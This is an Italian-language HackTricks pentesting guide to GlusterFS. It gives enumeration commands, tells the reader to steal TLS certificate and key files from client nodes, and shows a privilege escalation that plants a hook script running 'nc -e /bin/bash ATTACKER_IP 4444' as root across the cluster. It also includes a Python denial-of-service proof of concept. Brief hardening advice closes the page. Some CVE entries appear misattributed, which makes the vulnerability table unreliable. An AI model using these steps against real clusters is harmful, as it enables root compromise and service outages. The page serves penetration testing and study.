24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
GlusterFS è un sistema di file distribuito che combina lo storage di più server in un namespace unificato. Il demone di gestione (glusterd
) ascolta per impostazione predefinita su 24007/TCP e istruisce i brick del piano dati che iniziano a 49152/TCP (una porta per brick, in incremento). Le versioni precedenti alla 9.x utilizzavano 24008–24009/TCP per il trasporto dei brick, quindi potresti ancora incontrare quelle porte nei cluster legacy.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Suggerimento: 24007 risponde alle chiamate RPC anche quando i nodi solo storage non esportano alcun volume; pertanto il servizio è un obiettivo pivot affidabile all'interno di grandi infrastrutture.
Enumerazione
Installa le utility client sulla tua macchina di attacco:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Scoperta dei peer e salute
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Riconoscimento del volume
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Montare senza privilegi
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Se il montaggio fallisce, controlla /var/log/glusterfs/<vol_name>-<uid>.log
sul lato client. I problemi comuni sono:
- Applicazione di TLS (
option transport.socket.ssl on
) - Controllo degli accessi basato su indirizzo (
option auth.allow <cidr>
)
Risoluzione dei problemi del certificato
Ruba i seguenti file da qualsiasi nodo client autorizzato e posizionali in /etc/ssl/
(o nella directory mostrata nel log degli errori):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Vulnerabilità Conosciute (2022-2025)
CVE | Versioni affette | Impatto | Note |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Use-after-free in dht_setxattr_mds_cbk raggiungibile attraverso la rete | DoS remoto e probabile RCE. Risolto in 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Lettura fuori dai limiti nel gestore di notifiche FUSE | Crash remoto tramite operazioni FS create; PoC pubblico disponibile. |
CVE-2023-3775 | < 10.5 / 11.1 | Validazione dei permessi errata durante il montaggio di gluster_shared_storage | Permette a qualsiasi client non autenticato di montare il volume admin – porta a priv-esc spiegato di seguito. |
Controlla sempre
gluster --version
su ogni nodo; i cluster eterogenei sono comuni dopo aggiornamenti parziali.
Sfruttare gluster_shared_storage
(Escalation dei Privilegi)
Anche nelle versioni recenti molti amministratori lasciano il volume speciale gluster_shared_storage
leggibile da tutti perché semplifica la geo-replicazione. Il volume contiene modelli di cronjob che vengono eseguiti con root su ogni nodo.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Se hooks/1/
non è presente, cerca /ss_bricks/
– il percorso esatto può variare con la versione principale.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Eseguire lo script provoca il crash di glusterfsd
< 11.0.
Indurimento e Rilevamento
- Aggiornare – l'attuale LTS è 11.1 (luglio 2025). Tutti i CVE sopra sono stati risolti.
- Abilitare TLS per ogni brick:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Limitare i client con elenchi CIDR:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Esporre la porta di gestione 24007 solo su una VLAN privata o tramite tunnel SSH.
- Controllare i log:
tail -f /var/log/glusterfs/glusterd.log
e configurare la funzione audit-log (volume set <vol> features.audit-log on
).
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.